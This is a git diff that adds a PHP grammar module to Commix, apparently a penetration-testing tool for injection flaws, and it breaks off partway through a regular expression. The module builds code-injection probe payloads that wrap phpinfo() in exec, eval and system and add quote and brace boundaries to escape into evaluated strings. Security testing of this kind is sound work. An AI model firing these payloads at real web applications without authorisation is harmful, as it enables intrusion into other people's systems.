diff --git a/src/core/eval/grammars/php.py b/src/core/eval/grammars/php.py
new file mode 100644
index 0000000000..866b95ea81
--- /dev/null
+++ b/src/core/eval/grammars/php.py
@@ -0,0 +1,222 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+import re
+
+NAME = "php"
+
+# The same name as it is written out to the user, where the switch's own spelling would read wrong.
+LABEL = "PHP"
+
+# A call whose output says at once that code was evaluated, and which version evaluated it.
+PROBE = "phpinfo()"
+
+# The probe on its own, and wrapped in the functions that would run it where a bare call is not
+# evaluated - each is tried until one of them answers.
+PROBE_FUNCTIONS = ["" + PROBE + "",
+ "exec(" + PROBE + ")",
+ "eval(" + PROBE + ")",
+ "system(" + PROBE + ")"
+]
+
+# The same probes broken into the string being evaluated, one boundary per row.
+PROBE_PAYLOADS = [
+ [".print(" + x + ")" for x in PROBE_FUNCTIONS],
+ [")'}" + x + "'#" for x in PROBE_FUNCTIONS],
+ ["'." + x + ".'" for x in PROBE_FUNCTIONS],
+ ["{${" + x + "}}" for x in PROBE_FUNCTIONS],
+ ["\\\\/{${" + x + "}}\\/\\" for x in PROBE_FUNCTIONS]
+]
+
+PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload]
+
+# What the probe's own output looks like coming back, and the interpreter's complaints that say a
+# payload reached an evaluated string even where nothing was printed.
+PROBE_REGEX = r"PHP Version